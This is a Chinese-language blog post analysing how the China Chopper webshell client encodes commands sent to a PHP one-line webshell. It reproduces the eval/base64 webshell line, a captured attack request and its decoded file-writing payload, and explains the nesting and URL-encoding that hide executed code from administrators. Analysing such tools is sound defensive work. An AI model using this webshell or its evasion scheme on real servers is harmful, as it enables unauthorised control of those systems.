中国菜刀通讯加密分析

今天在土司看到有人说菜刀有后门,正好我前段时间对菜刀一句话通讯做过分析,借此发篇文章献丑了。 说明:菜刀用post与服务端通讯,各种语言的加密方法都一样的,仅执行代码不同,这里仅以PHP为例。
其实菜刀的通讯加密并不是很复杂,仅用到base64_encode()函数,但是它的加密手法非常巧妙。 一般POST到服务器的数据,就算加密过了,我们也能用echo $_POST[‘pass’]的方法得到加密后的数据, 所以我分析时在服务器上的”一句话”后面加了段代码,让所有$_POST[‘pass’]的内容都各自保存到一个txt文本。 但用菜刀执行一些操作后,发现服务端保存的txt文本里都只有一句代码:”@eval(base64_decode($_POST[z0]));”。
这是它的加密手法之一:POST里包含POST,这样即使管理员发现一句话木马,也无法截取到你执行了什么代码。 服务端突破基本无望,只能本地抓包了,下面这段代码是用抓包工具抓到新建文件的POST数据。(pass是一句话里的post变量名)

Code

 

pass=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO 0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOztlY2hvIEB md3JpdGUoZm9wZW4oYmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pLCJ3IiksYmFzZTY0X2RlY29kZSgkX1BPU1RbIno yIl0pKT8iMSI6IjAiOztlY2hvKCJ8PC0iKTtkaWUoKTs%3D&z1=RDpcXFdXV1xcd3d3XFxOZXdGaWxlLnR4dA%3D %3D&z2=dGVzdA%3D%3D  
[code/]可以看到不止发送一个POST变量(POST变量用&分割),而一句话木马的POST执行的是$_POST[z0],这是第二个POST的变量z0,  可以看出z0变量经过base64_encode()加密,所以要先解密z0变量,用base64_decode()函数解密z0得到如下:  

[code]

@ini_set(“display_errors”,”0″);@set_time_limit(0);@set_magic_quotes_runtime(0);echo(“-6 �木�� 犮��蝌 � 恚���}A=MQl�t什� 恚���}A=MQl�t中����擨�□�貙�欠 �木�  

 

只解密出了前三句代码,后面全是乱码,这里我找了一晚上都没找到问题出在哪,看起来加密代码应该没有问题, 因为前面的pass变量可以看出是直接用base64_decode()解密用eval执行的,如果有经过其他加密处理就没无法执行代码了。

直到第二天才发现问题所在,这是他的第二个加密手法:利用服务器接收POST数据时自动将经过url编码处理的字符串还原。 各位仔细看z0变量里的加密代码,会发现有两个%符号,而base64编码是不支持%符号的,带%的一般是url编码。
我把%2B和%3D用urldecode()函数还原分别是+号和=号,替换到加密代码里再用base64_decode()解密得到了完整代码:

 

Code

@ini_set(“display_errors”,”0″); @set_time_limit(0);@set_magic_quotes_runtime(0);echo(“->|”);; echo @fwrite(fopen(base64_decode($_POST[“z1″]),”w”),base64_decode($_POST[“z2″]))?”1″:”0”;; echo(“|<-“);die();  

而在这段代码又包含了两个POST变量,$_POST[‘z1’]和$_POST[‘z2’],这是第三层POST包含了,且也经过base64加密和url编码。
从先前抓的数据包找到这两个变量,先还原里面的url编码字符,再用base64_decode()解密,得到如下 z1=D:\WWW\www\NewFile.txt //新建文件保存路径 z2=test //新建文件内容 到这里我们才算真正将$_POST[‘pass’]里的代码完全还原出来了。

 

Code

@ini_set(“display_errors”,”0″); @set_time_limit(0);@set_magic_quotes_runtime(0);echo(“->|”);; echo @fwrite(fopen(“D:\WWW\www\NewFile.txt”,”w”),”test”)?”1″:”0″;; echo(“|<-“);die();  

eval执行的就是上面的代码。
其他如编辑,复制等操作也是一样的加密手法,我已经将他们全部还原成明文,并没有发现所谓的后门, 对菜刀客户端也进行了两个多小时的抓包监听,也无任何自动执行动作 .

本文作者Tueur 由网络安全攻防研究室(www.91ri.org) 信息安全小组收集整理.